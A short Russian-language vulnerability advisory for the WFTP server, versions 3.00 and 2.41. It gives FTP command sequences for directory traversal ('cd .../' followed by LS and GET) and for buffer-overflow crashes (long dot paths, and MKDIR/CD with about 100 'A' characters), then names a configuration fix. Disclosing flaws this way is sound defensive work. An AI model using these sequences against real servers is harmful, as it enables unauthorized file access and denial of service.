Найдена возможность удаленному злоумышленнику получить доступ к файлам за корневой директорией, а также повесить сервер, используя переполнение буфера, также возможно исполнение потенциально опасного кода под административными привилегиями.
Уязвимость присутствует в версии WFTP 3.00 и 2.41.
Для доступа в вышестоящую директорию достаточно набрать cd .../, далее можно просматривать содержание текущей директории командой LS, а также заходить в любые поддиректории. Используя команду GET можно скачать любой файл.
Для переполнения буфера, достаточно попытаться указать путь к очень длинному имени файла заполненный точками. Юзер, который имеет доступ на запись, может создать специальный "переполняемый" файл, затем используя команду LS, вызываем переполнение буфера.
Пример:
Создаем файл в корневой директории с очень длинным именем ~255 символов, затем делаем пользовательскую директорию с именем файла состоящим, например из 20 случайных символов, далее залогиненый пользователь делает следующее:
CD
................................................................../
CD homedir
LS
Или даже более легкий, делаем что-то вроде следующего:
CD ............./
LS
CD
...................................................................................../
LS
CD ....................................../
LS
И т.д. В конечном счете это приведет к краху сервера, т.к. точки добавляются в буфер.
Также можно вызвать переполнение буфера следующей командой,
MKDIR
AAAAAAAAA[Ax100]
CD
AAAAAAAAAAA[Ax100]
LS -d
Для устранения данной неполадки, требуется в файле WFTPD.ini, в разделе "Server", указать
GFPNMethod=0.